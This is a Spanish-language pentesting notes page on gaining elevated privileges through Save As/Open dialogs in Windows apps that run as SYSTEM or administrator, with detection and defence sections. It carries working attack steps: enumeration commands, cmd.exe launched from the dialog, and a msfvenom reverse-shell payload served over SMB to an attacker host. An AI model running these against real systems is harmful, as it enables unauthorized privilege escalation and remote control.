GUI privesc (Save As / File Open) in elevated apps
Cuando una aplicación con permisos elevados (SYSTEM, Administrator) muestra un diálogo estándar de Windows (Save As, Open, Browse, Print), ese diálogo hereda el token del proceso padre. Cualquier binario que se lance desde él corre con el mismo token que el padre. Es una escalada puramente por interfaz: no se toca el disco ni la configuración de ningún servicio.
Vías desde un diálogo de fichero
Un diálogo Save As/Open es, en realidad, una ventana del Explorador incrustada, con todas sus capacidades:
- Barra de dirección: teclear
C:\Windows\System32\cmd.exe(opowershell.exe) y pulsar Enter abre uncmdcon el token elevado. - Escribir la ruta en el campo "Nombre de archivo":
\\<lhost>\share\payload.exeejecuta un binario servido por SMB desde el atacante. - Clic derecho sobre un
.exeen la lista, "Abrir", o "Open with" para lanzar un intérprete. file://o rutas UNC en la barra para navegar y ejecutar.- Menús de ayuda con hipervínculos (
Help > Aboutcon un enlace) que abren el navegador como el proceso elevado, y de ahí acmd.
Cadenas útiles para teclear en la barra de dirección o en el campo "Nombre de archivo" del diálogo (cada línea es una vía distinta):
cmd.exe
powershell.exe
C:\Windows\System32\cmd.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file://C:/Windows/System32/cmd.exe
\\<lhost>\share\payload.exeEl patrón concreto:
- Localizar una app privilegiada en la bandeja del sistema o en el escritorio (bases de datos, servicios de mantenimiento, utilidades de terceros con icono en el tray).
- Abrir un menú que lleve a un
Save AsoFile > Open. - En la barra de dirección, teclear
cmd.exey pulsar Enter. - Aparece un
cmd.execon el token elevado; desde ahí,whoamiconfirma la cuenta.
Es el patrón que dio origen a CVE-2021-35448 (RemoteMouse GUI) y a media docena de exploits contra utilidades de gestión. No es un CVE específico de la app, sino una consecuencia de correr una GUI interactiva con permisos altos.
Localizar la app privilegiada
Antes hay que encontrar un proceso GUI corriendo con más privilegios que la sesión actual. Desde una shell o desde el propio escritorio:
tasklist /v | findstr /i "SYSTEM Administrator"
Get-Process | Select-Object Name,Id,SessionId,MainWindowTitle | Where-Object MainWindowTitle
Get-CimInstance Win32_Process | ForEach-Object { "{0,-25} {1}" -f $_.Name, (Invoke-CimMethod -InputObject $_ -MethodName GetOwner).User }Cualquier proceso con ventana (MainWindowTitle no vacío) cuyo dueño sea SYSTEM o un administrador es candidato.
Servir el binario por SMB
Si en vez de cmd.exe queremos ejecutar nuestro propio binario, se genera y se sirve por SMB desde el atacante, y en el diálogo se teclea la ruta UNC:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<lhost> LPORT=<lport> -f exe -o payload.exe
impacket-smbserver share $(pwd) -smb2support\\<lhost>\share\payload.exeRequisitos
Acceso interactivo a la sesión (consola física, RDP o una sesión de escritorio) y una aplicación corriendo como una cuenta más privilegiada que la nuestra que exponga cualquier diálogo estándar de fichero, ayuda o impresión. Sin interfaz gráfica (solo shell) esta vía no aplica.
Matices. No confundir con un servicio con permisos incorrectos: aquí no se toca la configuración del servicio, se abusa del token heredado por un diálogo. Tampoco requiere modificar el disco: el ataque es completamente vía interfaz, lo que lo hace difícil de detectar por integridad de ficheros.
Cómo detectarlo. La huella es de linaje de procesos: un cmd.exe/powershell.exe/mmc.exe cuyo proceso padre es una aplicación GUI de terceros corriendo como SYSTEM o administrador, registrado en un Event ID 4688 (creación de proceso) con ese padre inusual. Sysmon 1 con la misma relación padre-hijo es la señal más limpia. Un navegador o un cmd lanzado desde el proceso de una app de bandeja privilegiada casi nunca es legítimo.
Defensa. No ejecutar GUIs interactivas bajo cuentas privilegiadas. Cuando sea imprescindible, restringir los diálogos con políticas UI restricted, o correr la parte GUI con un usuario limitado y separar el motor privilegiado en un servicio sin interfaz. Es primo del abuso de permisos de servicio como vía de escalada local.
Máquinas donde se aplica
- MiceProving Grounds Practice